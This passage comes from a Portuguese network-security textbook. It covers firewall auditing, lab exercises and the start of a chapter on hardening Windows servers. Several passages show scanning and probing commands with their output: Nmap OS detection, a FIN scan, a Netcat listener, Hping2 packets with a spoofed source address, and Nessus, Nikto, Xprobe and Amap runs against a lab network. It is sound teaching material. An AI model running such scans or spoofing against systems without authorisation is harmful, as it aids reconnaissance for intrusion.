11 -s<tipo> tipo de varredura utilizada; algumas varreduras procuram evitar que
o sistema destino registre as tentativas de acesso.
Um exerccio interessante realizar scans utilizando diversos tipos diferentes e verificar o tipo
de registro que aparece no servidor remoto. A seguir outro exemplo do Nmap, agora utilizando a opo O, que procura adivinhar a verso do sistema operacional do sistema-destino:

macbook-pro-de-ivo-peixinho:~ root# nmap 192.168.1.1 -O


Starting Nmap 5.00 ( http://nmap.org ) at 2010-12-30 18:07 BRT.
Interesting ports on 192.168.1.1:
Not shown: 997 closed ports
PORT

STATE SERVICE

23/tcp

open

telnet

80/tcp

open

http

5431/tcp open

park-agent

MAC Address: 00:23:CD:FA:10:E7 (Tp-link Technologies CO.)

Running: Linux 2.6.X


OS details: Linux 2.6.13 - 2.6.27
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at


http://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 2.77 seconds

Captulo 8 - Auditoria de Segurana da Informao

Device type: general purpose

189

Verifique que o Nmap detectou o sistema operacional como Linux, porm o MAC Address se
refere empresa TP-Link. Com um pouco de investigao, chegaremos concluso de que se
trata de um modem ADSL, da marca TP-Link, que provavelmente executa uma verso do sistema
operacional Linux. Um Telnet na porta 23, que est aberta, j nos fornece uma pista importante:

macbook-pro-de-ivo-peixinho:~ root# telnet 192.168.1.1


Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is ^].
BCM96338 ADSL Router
Login:
Por fim, uma execuo do Nmap, para realizar um FIN scan:

macbook-pro-de-ivo-peixinho:~ root# nmap -sF 192.168.1.1

Starting Nmap 5.00 (http://nmap.org) at 2010-12-30 18:15 BRT


Warning: Unable to open interface vboxnet0 -- skipping it.
Warning: Unable to open interface vmnet1 -- skipping it.
Warning: Unable to open interface vmnet8 -- skipping it.
Interesting ports on 192.168.1.1:
Not shown: 997 closed ports
PORT

STATE

SERVICE

23/tcp

open|filtered telnet

80/tcp

open|filtered http

5431/tcp open|filtered park-agent


MAC Address: 00:23:CD:FA:10:E7 (Tp-link Technologies CO.)

Nmap done: 1 IP address (1 host up) scanned in 6.68 seconds


Outra ferramenta interessante para testar configurao de firewall a ferramenta Netcat.

Segurana de Redes e Sistemas

Ela conhecida como o canivete suo das redes, devido sua versatilidade. Imagine que

190

desejamos testar se a porta 3500 TCP est disponvel em um determinado servidor, porm
no temos nenhum servio em execuo nesta porta. Com o Netcat, podemos registrar um
servio nesta porta:

root# nc -l 3500
Em outra estao, podemos realizar uma conexo com o servidor, na porta 3500:

root# nc 192.168.1.6 3500

Dessa forma, caso o trfego esteja permitido, tudo o que escrevermos na estao ser
apresentado no servidor. Por fim, temos a ferramenta Hping2, que permite enviar pacotes
arbitrrios para uma mquina remota. No exemplo abaixo, vamos utilizar o Hping2 para
enviar pacotes TCP para a porta 443 do servidor 192.168.1.1, com a flag SYN habilitada:

ivocarv$ sudo hping2 192.168.1.1 -S -V -p 443


using en1, addr: 192.168.1.6, MTU: 1500
HPING 192.168.1.1 (en1 192.168.1.1): S set, 40 headers + 0 data bytes
len=46 ip=192.168.1.1 ttl=64 DF id=3656 tos=0 iplen=40
sport=443 flags=RA seq=0 win=0 rtt=3.0 ms
seq=0 ack=1787010098 sum=ab1a urp=0

len=46 ip=192.168.1.1 ttl=64 DF id=3657 tos=0 iplen=40


sport=443 flags=RA seq=1 win=0 rtt=2.1 ms
seq=0 ack=235069102 sum=af34 urp=0

len=46 ip=192.168.1.1 ttl=64 DF id=3658 tos=0 iplen=40


sport=443 flags=RA seq=2 win=0 rtt=3.0 ms
seq=0 ack=1716272813 sum=657c urp=0

len=46 ip=192.168.1.1 ttl=64 DF id=3659 tos=0 iplen=40


sport=443 flags=RA seq=3 win=0 rtt=2.0 ms
seq=0 ack=184330740 sum=6d6c urp=0
Caso desejamos habilitar a flag ACK, basta adicionar o parmetro A:

using en1, addr: 192.168.1.6, MTU: 1500


HPING 192.168.1.1 (en1 192.168.1.1): SA set, 40 headers + 0 data
bytes
len=46 ip=192.168.1.1 ttl=64 DF id=3661 tos=0 iplen=40
sport=80 flags=R seq=0 win=0 rtt=2.1 ms
seq=15376070 ack=0 sum=6984 urp=0

len=46 ip=192.168.1.1 ttl=64 DF id=3662 tos=0 iplen=40


sport=80 flags=R seq=1 win=0 rtt=2.1 ms
seq=701031830 ack=0 sum=ba14 urp=0

Captulo 8 - Auditoria de Segurana da Informao

ivocarv$ sudo hping2 192.168.1.1 -S -V -A -p 80

191

len=46 ip=192.168.1.1 ttl=64 DF id=3663 tos=0 iplen=40


sport=80 flags=R seq=2 win=0 rtt=2.2 ms
seq=1666713083 ack=0 sum=c4ba urp=0
Por fim, vamos enviar pacotes UDP na porta 53, alterando o endereo de origem para o
endereo 192.168.1.150:

ivocarv$ sudo hping2 192.168.1.1 --udp --spoof 192.168.1.150 -p 53


HPING 192.168.1.1 (en1 192.168.1.1): udp mode set, 28 headers + 0
data bytes
^C
--- 192.168.1.1 hping statistic --1 packets tramitted, 0 packets received, 100% packet loss

Exerccio de fixao 2 e
Arquitetura do firewall
Que tpicos devem ser verificados na auditoria da arquitetura do firewall?

Exerccio de fixao 3 e
Testando o firewall
Quais so as questes importantes que devem ser verificadas no teste do firewall?

Explique como devem ser realizadas as regras do firewall. O que deve ser observado?

Alertas e registros
Segurana de Redes e Sistemas

Registros e alertas so itens importantes em uma poltica de segurana; porm, se eles no

192

so vistos periodicamente pela equipe responsvel, de nada adiantam. Firewalls com muitos
registros sendo gerados podem ser facilmente esquecidos pelo administrador, que fica
perdido entre tantos dados.
Alertas podem ser configurados para envio por e-mail ou SMS, de modo que possam ser mais
facilmente vistos pelo administrador. Revisar os registros periodicamente pode ser til para
detectar tentativas de ataqu, e permitir aos responsveis a tomada de aes proativas.

w
Todas as ferramentas
indicadas podem ser
instaladas a partir do
apt-get do Debian ou
baixadas do site de
cada ferramenta
(Netcat, Hping, Nmap).
Algumas delas tambm
possuem verses para
Windows, Mac OS X e
outras plataformas.

Algumas recomendaes que devem ser observadas pelo auditor:

11 Os registros de log esto precisos? Esto sendo gerados mais registros do que
o necessrio?
11 Existe procedimento para analisar os alertas? Eles so enviados para um local
de rpida verificao?
11 Os registros esto em local seguro?
11 O horrio do firewall est correto? Ele est sendo sincronizado com uma fonte
de tempo confivel?
Por fim, verificamos que a tarefa de auditoria no uma tarefa simples. Apesar de existirem
ferramentas que auxiliam o auditor em algumas questes, elas no resolvem todos os problemas. Bom senso e conhecimento ainda so fundamentais. Durante as atividades prticas,
vamos exercitar o uso do Nessu, e teremos oportunidade de utilizar as demais ferramentas

Captulo 8 - Auditoria de Segurana da Informao

apresentadas neste captulo.

193

194

Segurana de Redes e Sistemas

Roteiro de Atividades 8
Atividade 1 Auditoria com Nessus
Instale e configure o Nessus, conforme apresentado na parte terica. Realize uma auditoria
a partir da estao cliente, objetivando analisar os dois servidores presentes na rede de
servidores. Oriente o Nessus a analisar a rede inteira.
Passo 1

Baixe o pacote do Nessus no endereo:


http://www.nessus.org/download/
Escolha a verso para Linux Debian 32 bits.
Foi disponibilizada no diretrio home do usurio root da sua mquina virtual
uma verso do Nessus. Caso no seja possvel o download da verso mais
atual, essa verso pode ser utilizada.

Passo 2

Instale o pacote na mquina virtual BackTrack com o comando:

# dpkg i /root/Nessus-4.4.0-debian5_i386.deb
Passo 3

Faa o registro no site do projeto com o perfil de licena HomeFeed. Esse perfil
o suficiente para o propsito desta atividade. Para fazer o registro, acesse:
http://www.nessus.org/register/
Cadastre um e-mail vlido, para o qual ser enviado o nmero da licena.

Passo 4

Inicie o servidor Nessus com o comando:

# /etc/init.d/nessusd start
Passo 5

Acesse o console de gerncia do Nessus, a partir de um navegador web da


mquina Windows XP: https://172.16.G.30:8834
Certifique-se de que existe regra de exceo no firewall para permitir essa
conexo e no esquea de seguir os passos indicados pelo instalador web, em
especial o passo que solicita a digitao do registro do Nessus.
Se voc digitar o nmero de registro e por algum motivo o Nessus no conseguir conexo internet, poder ser necessrio gerar outra chave de registro.

Passo 6

Com o console aberto, crie uma nova Policy, com o nome padrao.
Marque todas as opes de Port Scanners disponveis.
Em Credentials, aceite as configuraes padro.
Habilite todos os filtros, clicando no boto Enable All. No restante das opes,
aceite os valores padro.

Passo 7

No console do Nessus, crie um novo Scan com os parmetros:

Nome: RedeDMZ

Policy: Padrao
Scan Targets: 172.16.G.0/24
Clique no boto Launch Scan.
Passo 8

Analise o relatrio gerado pelo Nessus no menu Reports. Foi possvel encontrar os hosts da rede DMZ? Quais servios foram encontrados? Existe alguma
falha que possa comprometer a segurana dos sistemas?

Captulo 8 - Roteiro de Atividades

Type: Run Now

195

Atividade 2 Auditoria sem filtros de pacotes


Agora retire todas as regras do firewall e refaa a auditoria com uso no Nessus a partir da
estao cliente, objetivando os dois servidores presentes na rede DMZ. Oriente o Nessus
para analisar apenas os dois endereos IPs, para agilizar o processo.
Passo 1

Desabilite todas as regras no firewall do host FWGW1. Pode ser utilizado o


seguinte comando:

# iptables-restore < /etc/iptables.down.rules


Passo 2

Acesse o console de gerncia do Nessus, a partir de um navegador web da


mquina Windows XP: https://172.16.G.30:8834
Certifique-se de que existe regra de exceo no firewall para permitir essa
conexo.

Passo 3

Com o console aberta, crie uma nova Policy, com o nome VerificaIDS. Marque
as opes de Port Scanners, TCP Scan e SYN Scan, escolha Port Scan Range
80,443. Em Credentials, aceite as configuraes padro. Habilite apenas os
filtros relacionados a servidores web, clicando no boto Disable All e habilitando apenas as famlias de regras CGI abuses e Web Servers. No restante das
opes, aceite os valores padro.

Passo 4

Abra uma sesso Shell no host FWGW1 e deixe listando todos alertas do
Snort, com o comando:

# tail f /var/log/snort/alert
Passo 5

No console do Nessus, crie um novo Scan com os parmetros:

Nome: WebDMZ
Type: Run Now
Policy: VerificaIDS
Scan Targets: 172.16.G.10,172.16.G.20
Clique no boto Launch Scan.
Passo 6

Verifique os logs do Snort. Foi registrada alguma tentativa de explorar falhas


em servios web?

Atividade 3 Auditoria do IDS


Insira as regras de bloqueio de firewall criadas no captulo3 e realize a auditoria novamente.
Caso tenha realizado a auditoria com as regras retiradas, insira-as agora e realize nova auditoria. Compare os dois relatrios e verifique o que mudou. Altere parmetros no Nessus e
verifique as mudanas nos resultados.

Atividade 4 Exemplo de auditoria


Segurana de Redes e Sistemas

A partir do exemplo que foi dado sobre auditoria em um firewall, imagine uma auditoria em

196

uma ferramenta de IDS. Quais detalhes voc analisaria? Procure verificar as diferenas entre
esta auditoria e o exemplo do firewall.

Atividade 5 Utilizando o Nikto


A ferramenta Nikto um scanner de vulnerabilidades especializado, ou seja, desenvolvido
para anlise um determinado servio. Nesta atividade pede-se para executar o Nessus e
o Nikto contra o servidor Windows 2008 e comparar o relatrio gerado. Os passos abaixo
explicam como instalar e executar o Nikto.
Passo 1

Baixe o Nikto no Servidor LinServer e descompacte-o:

# wget -c http://www.cirt.net/nikto/nikto-current.tar.gz
# tar -xzpf nikto-current.tar.gz
# cd nikto-2.1.4
Passo 2

Agora vamos executar a atualizao do Nikto:

# ./nikto.pl -update
Passo 3

Agora vamos disparar o Nikto contra o servidor Windows 2008 que possui
o servio HTTP instalado:

# ./nikto.pl -h 172.16.G.20 -o /tmp/relatorio.txt


Acesse o arquivo /tmp/relatorio.txt e veja as vulnerabilidades encontradas. Pesquise no Google sobre algumas das
vulnerabilidades indicadas e como voc poderia corrigi-las.

Atividade 6 Utilizando o Xprobe


O Xprobe um utilitrio que permite identificar, remotamente, a verso do sistema operacional da mquina-alvo. Para executar essa atividade ele busca, entre outros testes, identificar o sistema operacional a partir da forma de implementao do protocolo TCP/IP.
Nesta atividade, iremos executar o Xprobe contra as mquinas Linux e Windows Server e
observa o resultado gerado.
Passo 1

Para instalar o Xprobe no Debian, execute:

# apt-get install xprobe2


Agora execute o Xprobe contra os servidores Linux e Windows e guarde os
resultados para discutir na sala de aula:

# xprobe2 172.16.G.1
# xprobe2 172.16.G.20

Captulo 8 - Roteiro de Atividades

Passo 2

197

Atividade 7 Utilizando o THC-Amap


O THC-Amap uma ferramenta para a identificao remota de servios de rede. Seu modo
de funcionamento busca identificar o servio em uma mquina-alvo pelo banner do servio
e no apenas pelo nmero da porta.
Nesta atividade executaremos o Amap contra as mquinas Linux e Windows Server e
observar o resultado gerado.
Passo 1

Para instalar o THC-Amap no Debian, execute:

# apt-get install gcc make gcc++


# wget http://freeworld.thc.org/releases/amap-5.2.tar.gz
# tar xvzf amap-5.2.tar.gz
# cd amap-5.2
# ./configure
# make
# make install
Passo 2

Agora execute o Amap. Nesta tentativa, iremos tentar identificar o servio na


mquina-alvo que est executando na porta 22.

Segurana de Redes e Sistemas

# amap bqv 172.16.G.1 22

198

l
Saiba mais
Para mais informaes
sobre o Amap, acesse:
http://www.aldeid.com/
wiki/Thc-amap

9
Apresentar tcnicas bsicas de configurao segura de servidores Windows, configurar
filtros de pacotes, analisar processos ativos, criar uma configurao inicial e desabilitar
processos e servios desnecessrios.

conceitos

Tcnicas de proteo em profundidade, como firewalls de permetro e proxy, IDS e IPS.

Introduo
Prevenir acesso no autorizado a dados sensveis essencial em qualquer ambiente em que
mltiplos usurios tm acesso aos recursos fsicos ou via rede. Um sistema operacional deve
ser configurado de forma segura antes de ser exposto em uma rede pblica no controlada,
como o caso da internet. Este processo de reforar a segurana chamado de hardening.
Veremos neste captulo tcnicas e ferramentas utilizadas em ambientes Microsoft Windows
que auxiliam nestas atividades.
Apesar de muito importante, o administrador de segurana no deve confiar inteiramente
na segurana do servidor aps o hardening, pois alguma configurao insegura pode ter
passado despercebida, ou alguma nova vulnerabilidade, desconhecida quando o hardening
foi implantado, podendo ter afetado o servidor em questo. Seguindo o princpio da defesa
em profundidade, recomenda-se que o servidor seja ainda protegido por outros recursos,
como firewalls, proxies reversos, IDS (HIDS e NIDS) e IPS.

Exerccio de nivelamento 1 e
Configurao segura de servidores Windows
O que voc entende por hardening?

Na sua organizao como realizado o hardening? Como seguido o princpio da defesa


em profundidade?

Captulo 9 - Configurao segura de servidores Windows

objetivos

Configurao segura de
servidores Windows

199

Necessidade de configurao de um bastion host


Em um ambiente Microsoft Windows, publicado na internet, vital utilizar o conceito de
bastion host para garantir a integridade do sistema. Existem inmeras falhas de segurana
documentadas que permitem ao invasor acesso total mquina-alv, quando esta disponibilizada em uma rede pblica e com a instalao padro do sistema operacional.
Atualmente, esse valor inferior a 10 minutos, de modo que uma mquina conectada internet
por um tempo superior provavelmente j est infectada por algum worm ou foi invadida.

O bastion host ser uma mquina exposta na rede pblica disponibilizando recursos e
servios. Por ser uma mquina com servios pblicos, essa ser a primeira barreira a ser
vencida por um invasor para tentar obter acesso aos sistemas da rede privada.
Existem vrias implementaes possveis de bastion hosts, de acordo com os servios

que ele oferece. Alguns exemplos:


11 Firewall gateways.
11 Servidores web.
11 Servidores FTP.
11 Servidores de nome DNS.
11 Transportadores de e-mail.
No caso, um bastion host pode oferecer mais de um servio, conforme as topologias j
discutidas em sesses anteriores.

Exerccio de fixao 1 e
Bastion host
O que um bastion host? Qual a sua finalidade?

Check-list
recomendado planejar a instalao e escrever um check-list das atividades a serem
realizadas e auditadas nos servidores pblicos:
11 Remover ou desabilitar todos os servios no necessrios no host.
11 Remover ou desabilitar todas as contas de usurio no necessrias.

Segurana de Redes e Sistemas

11 Remover ou desabilitar todos os protocolos de rede no utilizados.


11 Configurar adequadamente os registros de log do sistema para que possam identificar possveis ataques ou atividade suspeita.
11 Implantar um sistema de deteco de intruso de host.
11 Atualizar o sistema operacional com as ltimas correes de segurana disponibilizadas pelo fabricante.
11 Filtrar todas as portas que no so necessrias para o host.
11 Utilizar conexo criptografada para conectar no host.
11 Evitar a instalao de aplicativos no necessrios e/ou notadamente vulnerveis,
como Flash, PDF Viewers, Java etc.
200

O Internet Storm
Center (ISC) publica
uma estatstica sobre o
tempo em que uma
mquina sem nenhuma
correo de segurana
sobrevive na internet.
http://www.dshield.org/
survivaltime.html

A seguir, veremos com mais detalhes as configuraes de segurana recomendadas para


servidores que utilizam o sistema operacional Microsoft Windows.

Configurao de filtros de pacotes


O Windows XP, 2003, 2008 e 7 trazem no prprio sistema operacional um aplicativo para

controlar o filtro de pacotes.


No XP e 2003, o filtro de pacote simples, o que justifica o uso de aplicativo de terceiros
para melhor controle do filtro, como por exemplo o Zone Alarm, da Check Point.
No Windows 7 e Windows Server 2008, o aplicativo recebeu atualizaes significativas,
permitindo a configurao de perfis e a importao e exportao de regras, entre
outras funcionalidades.
Podemos utilizar uma ferramenta que acompanha o sistema operacional: netstat, ou
ferramentas adicionais como o TCPview da sute Sysinternals. Atravs do netstat e do
TCPview, verificamos as portas abertas no servidor para localizar e desabilitar o servio
em questo, ou filtrar a porta.
Cada servio de rede presente em um servidor pode escutar uma porta, TCP ou UDP, para
receber conexes de outros servidores ou clientes. Alguns desses servios so importantes
para o bom funcionamento do servidor, e nem sempre podem ser desabilitados. Quando
verificamos as portas abertas em uma configurao padro de um servidor Windows,
vemos que existe uma srie de portas que so abertas por padro no sistema. Colocar um
sistema de forma pblica na internet, sem a devida filtragem dos servios que no esto em
uso, arriscado e pode comprometer a segurana do servidor.
Felizmente, muitos sistemas operacionais permitem que seja configurado um filtro de
pacotes para controlar as portas que estaro disponveis para serem conectadas por hosts
externos. A verso padro do Windows XP, 2003, 2008 e 7 trazem no prprio sistema operacional um aplicativo para controlar o filtro de pacotes. No caso especfico do XP e do 2003,
o filtro de pacote mais simples, o que justifica o uso de aplicativo de terceiros para melhor
controle do filtro, como por exemplo o Zone Alarm, da Check Point.
Lembre-se de que essa filtragem local, e no deve ser utilizada para substituir uma
filtragem de permetro, propriamente feita atravs de um firewall, mas apenas como um
mecanismo adicional de segurana (defesa em profundidade). O aluno deve observar
de filtros de pacotes locais em cada servidor pode tornar o gerenciamento do ambiente
complexo, de modo que o uso de filtros em cada servidor deve ser feito com parcimnia.
Para listar as portas que esto aguardando conexo de rede ou as conexes estabelecidas,
podemos usar uma ferramenta do prprio sistema operacional, neste caso com o comando
netstat, como mostra a prxima figura.

Captulo 9 - Configurao segura de servidores Windows

tambm que caso haja muitos servidores disponibilizando servios pblicos, a configurao

201

Figura 9.1
Conexes de rede.

A sute de ferramentas SYSInternals oferece outra ferramenta para listar com mais detalhes
as conexes de rede estabelecidas e seus respectivos processos, alm de tambm listar as
portas que esto aguardando por conexes de rede. Segue abaixo exemplo de listagem de

Segurana de Redes e Sistemas

portas da ferramenta TCPview.

202

Figura 9.2
Conexes de rede
com TCPView.

Atravs do netstat e do TCPview, podemos verificar as portas que esto abertas no servidor,
de modo a localizar e desabilitar o servio em questo ou filtrar a porta. Outra forma de
verificar as portas abertas utilizando o Nmap. Desabilitar servios em sistemas Windows
um processo que demanda certa pacincia. Caso um servio essencial seja desabilitado,
algum comportamento inesperado pode acontecer. Recomenda-se que seja utilizada uma
mquina de testes, para se criar familiaridade com o processo, antes de desabilitar servios
em servidores em produo. Mais frente, sero vistos com mais detalhes o modo de
desabilitar servios no Windows.
O Windows Firewall o aplicativo que acompanha o sistema operacional para controle de
conexes de rede, que normalmente vem configurado por padro na instalao padro do
Windows. Nas verses Windows 7 e Windows Server 2008, o aplicativo recebeu atualizaes
significantes, permitindo a configurao de perfis, importao e exportao de regras, entre
outras funcionalidades.

Abaixo, seguem os passos para criar uma regra no firewall:


1. Clique na opo desejada de acordo com a necessidade de criar uma regra de entrada

(pacotes que entram no servidor) ou regra de sada (pacotes que saem do servidor).
2. No painel de aes, no lado direito, clique em Nova Regra (New Rule).

Captulo 9 - Configurao segura de servidores Windows

Figura 9.3
Windows Firewall
para Windows
Server 2008.

203

3. Selecione que deseja criar uma regra para uma porta.


4. Selecione o protocolo (TCP ou UDP).
5. Selecione as portas que deseja incluir nesta regra, separadas por vrgula.
6. Selecione a ao desejada (permitir, permitir com IPsec ou bloquear).
7. Selecione os perfis aos quais esta regra vai se aplicar.
8. Defina um nome e uma descrio para a regra.

Por fim, verifique a regra criada no painel da ferramenta. Voc pode testar as suas regras
com os comandos j apresentados.

Desabilitar servios em sistemas Windows um processo que demanda pacincia.


Caso um servio essencial seja desabilitado, pode ocorrer algum comportamento
inesperado. Outra forma de identificar os servios ativos e no bloqueados pelo
firewall atravs de Nmap.

Exerccio de fixao 2 e
Configurao de filtros de pacotes
Explique como deve ser feita a configurao de filtro de pacotes.

Criao de uma linha base de segurana (baseline)


Uma baseline uma referncia inicial de segurana, um ponto inicial para a evoluo

para uma configurao segura. importante criar um mapa do tempo dos servidores da
rede, registrando a data de instalao do sistema operacional, das principais correes
e da instalao de aplicativos. Essa linha do tempo ser til para manter atualizado o
inventrio dos sistemas e, principalmente, para uma eventual auditoria.
Uma baseline consiste em uma referncia inicial de segurana, um ponto inicial, a partir do qual
se evolui para uma configurao segura. Os servidores Windows possuem alguns perfis padro
de segurana, de acordo com o papel que aquele servidor ir desempenhar. Mais adiante, sero
vistas algumas ferramentas que permitem a criao de uma baseline e a posterior auditoria
para verificar se a configurao atual atende ao mnimo necessrio de segurana.
Alm da baseline, preciso criar um mapa do tempo (timeline) dos servidores da rede,

Segurana de Redes e Sistemas

registrando a data de instalao do sistema operacional, das principais correes e da instalao de aplicativos. Essa linha do tempo ser til para manter atualizado o inventrio dos
sistemas e principalmente para uma eventual auditoria.

Desabilitando servios desnecessrios


O Windows 2008 Server traz alguns avanos de segurana que auxiliam na criao de
um bastion host: os papis. O conceito de papis (roles) ajuda no processo de habilitar
somente programas necessrios e evitar comprometer a segurana do sistema.
O sistema de papis, quando aplicado, ir:
11 Iniciar somente os servios necessrios.

204

11 Liberar excees nos filtros de pacotes nas interfaces de rede que forem necessrias.
Logo aps a instalao do sistema operacional, depois do primeiro acesso ao sistema, a
ferramenta de configurao de papis apresentada. Com a escolha de um determinado
role, o aplicativo iniciar somente os servios e liberar excees nos filtros de pacotes nas
interfaces de rede em que isso for necessrio. Essa uma grande evoluo, que facilita o
processo de desabilitar servios desnecessrios e liberar regras de acesso para os servios
que esto sendo usados.

Figura 9.4
Regras de configurao do Windows
2008 Server.

Nos sistemas operacionais que possuem o recurso de roles, importante verificar se os


roles realmente disponibilizam somente os servios necessrios. Nos sistemas operacionais
mais antigos da Microsoft (Windows XP e 2003 Server), os servios se tornam o principal
controle de recursos disponveis no sistema, de modo que devem ser desabilitados de
forma manual. A ferramenta Services MMC, que acompanha o sistema operacional, ajuda
nessa tarefa. Ela pode ser encontrada no Painel de Controle, no item Ferramentas Adminis-

Captulo 9 - Configurao segura de servidores Windows

trativas. Ao iniciar a ferramenta Services, obtemos a seguinte tela:

205

Atravs da ferramenta, podemos iniciar, encerrar e desabilitar servios. Para iniciar e encerrar
um servio, basta clicar em cima do servio e escolher uma das opes, que se assemelham
aos controles de um programa tocador de msica. Note que alguns servios no podem ser
encerrados, pois so servios essenciais para o funcionamento do sistema operacional. Para
desabilitar um servio, basta clicar no servio desejado e mudar o startup type para disabled.
Uma tarefa importante para a configurao segura de servidores consiste em saber a porta
TCP ou UDP associada a um determinado servio, de modo que possamos desabilitar os servios desnecessrios que abrem portas de rede no servidor. Essa tarefa pode ser realizada
utilizando alguns utilitrios disponveis na internet. Abaixo, um exemplo de como podemos
descobrir um servio que corresponda a uma porta especfica.
1. Atravs do netstat ano ou do TCPview, verificamos uma porta da qual desejamos saber o

servio correspondente. No exemplo abaixo, a porta UDP 1900, que corresponde ao pro-

Segurana de Redes e Sistemas

cesso de nmero 1216 (svchost.exe). Geralmente um servio executado por esse programa.

206

2. A partir do nmero do processo, verificamos no Process Explorer as propriedades do

processo em questo. Na aba Services, encontramos os servios associados ao processo


svchost.exe em questo.

Figura 9.5
Servios do
Windows XP.

Figura 9.6
Servios
associados ao
processo
svchost.exe.

3. No caso, um dos servios apresentados o servio que procuramos. O prximo passo

desabilitar os servios em questo, um a um, at que a porta em questo desaparea do


netstat ou do TCPview. No exemplo acima, o servio responsvel pela porta 1900 UDP o
SSDP Discovery Service.
4. Na Wikipedia (List of TCP and UDP port numbers) h uma lista de portas conhecidas e os

O Process Explorer
pode ser encontrado
no endereo:
http://technet.
microsoft.com/en-us/
sysinternals/bb896653

de fato ao servio SSDP, que possui relao com a descoberta de dispositivos UPnP.

Exerccio de fixao 3 e
Baseline
Explique o que uma linha base de segurana.

Ferramentas de anlise da segurana do Windows


11 Windows Management Instrumentation Console (WMIC).

11 Windows Server Update Services (WSUS).


11 Microsoft Baseline Security Analyzer (MBSA).
Existem vrias ferramentas que auxiliam na administrao de segurana de servidores
Windows. As ferramentas que acompanham o sistema operacional so preteridas por normalmente continuarem funcionando mesmo aps grandes atualizaes, como no caso de

Captulo 9 - Configurao segura de servidores Windows

processos correspondentes, onde podemos confirmar que a porta 1900 UDP corresponde

207

um Service Pack. Porm, ferramentas terceiras normalmente trazem informaes mais deta-

lhadas e com relatrios teis na gesto dos servidores. Vamos ver exemplos de ferramentas
teis para a anlise de segurana de servidores Windows.

WMIC
Windows Management Instrumentation Console (WMIC) tambm conhecida como canivete
suo do Windows. Essa ferramenta executada em linha de comando e pode ser executada

Saiba mais
Para maisores detalhes
dos comandos disponveis, consulte a ajuda
on-line ou atravs do
prprio aplicativo com
o comando: wmic /?

no servidor local ou remoto pela rede de dados. Essa ferramenta est disponvel em todas as
verses do Windows a partir do Windows NT.
A sintaxe do WMIC sempre: wmic <objeto> <ao>

Figura 9.7
Exemplo de uso
do WMIC.

Exemplo:

Principais objetos no auxlio de auditoria de segurana:

11 startup: lista todos os processos que so iniciados junto com o sistema operacional.
11 process: lista dos processos executados pelo sistema.
11 cpu: informaes sobre o processador fsico.
11 group: lista de grupos cadastrados no sistema.
11 useraccount: lista dos usurios cadastrados no sistema.
O WMIC capaz de gerar relatrios em vrios formatos, como CSV, XML, HTML, atravs da

Segurana de Redes e Sistemas

diretiva /FORMAT:<formato>. Mais um exemplo do uso do WMIC:

SYSInternals
A sute de ferramentas desenvolvidas inicialmente por Mark Russinavich e Bryce Cogswell
oferece a possibilidade de uma verificao mais detalhada do funcionamento do sistema
operacional. As ferramentas podem ser baixadas gratuitamente do site da Microsoft:
http://technet.microsoft.com/en-us/sysinternals/

208

Figura 9.8
Mais um exemplo
de uso do WMIC.

Algumas j foram apresentadas, como o TCPview e o Process Explorer.


Com o objetivo de auxiliar o analista a gerenciar o host, resolver problemas e diagnosticar
o sistema operacional e aplicativos, a Microsoft adquiriu em 2006 a sute de ferramentas
SYSInternals e contratou Mark Russinavich para continuar na equipe de desenvolvimento da
sute de ferramentas.
A seguir algumas ferramentas importantes da sute do SysInternals:

11 Autoruns: mostra os programas que inicializam automaticamente com o sistema.


11 Diskmon: captura toda a atividade do disco rgido.
11 EFSDump: verifica informaes sobre arquivos cifrados.
11 ProcDump: captura rea de memria de processos.
11 PsService: visualiza e controla servios.
11 RootkitRevealer: verifica o sistema em busca de programas maliciosos do tipo rootkit.
11 Process Monitor: monitora diversas informaes sobre processos, incluindo alteraes do registry e do sistema de arquivos. Muito til para verificar o comportamento

Figura 9.9
Exemplo de uso
do psinfo.

Outra ferramenta bastante til o dumpsec, da SystemTools: http://www.systemtools.com


Com ela voc poder gerar um arquivo de texto contendo todas as permisses de acesso dos
usurios referentes a arquivos, pastas, registros e compartilhamentos. Tal relatrio permite
identificar se todas as permisses esto configuradas de acordo com a poltica da organizao.

Captulo 9 - Configurao segura de servidores Windows

de certos programas.

209

WSUS
Windows Server Update Services (WSUS) uma ferramenta da Microsoft que auxilia no
processo de atualizaes dos sistemas e aplicativos Microsoft. um servio que pode ser
executado em verses do Windows Server 2000, 2003 e 2008. Esse servio responsvel
por baixar as atualizaes dos servidores da Microsoft e distribu-las para as estaes de
trabalho e servidores da rede. Essa distribuio pode ser realizada automaticamente de
forma pr-aprovada pelo administrador do sistema ou com aprovaes manuais para cada
atualizao, em casos mais crticos.
O WSUS tambm capaz de gerar relatrios personalizados da situao de cada host da
rede, exibindo detalhes da atualizao do sistema operacional e aplicativos Microsoft. A instalao do WSUS, pela sua complexidade, no ser coberta por esse curso, porm existem
diversos guias na internet que explicam em detalhes a instalao da ferramenta. A seguir,
uma tela inicial do WSUS em execuo:

MBSA
Microsoft Baseline Security Analyzer (MBSA) uma ferramenta capaz de verificar se
servidores com Windows Server 2003 e 2008, e estaes de trabalho com Windows XP,
Vista e 7 esto de acordo com as recomendaes de segurana da Microsoft e ainda se
esto com as ltimas verses das correes de segurana instaladas. Para utilizar o MBSA,
Segurana de Redes e Sistemas

ser necessrio ter conta no sistema com privilgio de administrador.

210

Figura 9.10
Tela inicial do WSUS.

Alm de verificar a instalao de correes de segurana, o MBSA tambm verifica falhas


comuns na configurao dos servidores, como o servio de atualizao desligado, contas de
usurio que nunca expiram, contas sem senhas, configuraes com fragilidade de segurana
do Internet Explorer, entre outras. O MBSA gratuito para usurios Windows.

Microsoft Security Compliance Manager


A ferramenta Microsoft Security Compliance Manager completa para a segurana de servidores e estaes Windows. Tem por objetivo concentrar uma srie de conhecimentos sobre
a segurana de servidores e facilitar o processo de hardening de servidores e estaes. Ela
permite aplicar uma srie de parmetros de segurana, a customizao de baselines e a
exportao em formatos fceis de aplicar em um ambiente.
Recursos presentes na ferramenta:
11 Gerenciamento centralizado de baselines
22 Prov uma interface centralizada de gerenciamento para prover, planejar e customizar
baselines, incluindo as recomendadas para os sistemas operacionais Windows.
11 Customizao de baselines
22 Permite customizar, comparar, juntar e revisar as baselines.
11 Exportao para mltiplos formatos
22 Permite a exportao das configuraes em diversos formatos, incluindo XLS,
GPO, DCM e SCAP, para permitir a automao da implantao e o monitoramento
da aderncia s baselines definidas.
Suporta Windows Server 2008 R2, Windows Server 2008, Windows Server 2003, Hyper-V,
Windows 7, Windows Vista, Windows XP, BitLocker Drive Encryption, Windows Internet
Explorer 8, Microsoft Office 2010 e Microsoft Office 2007 SP2.

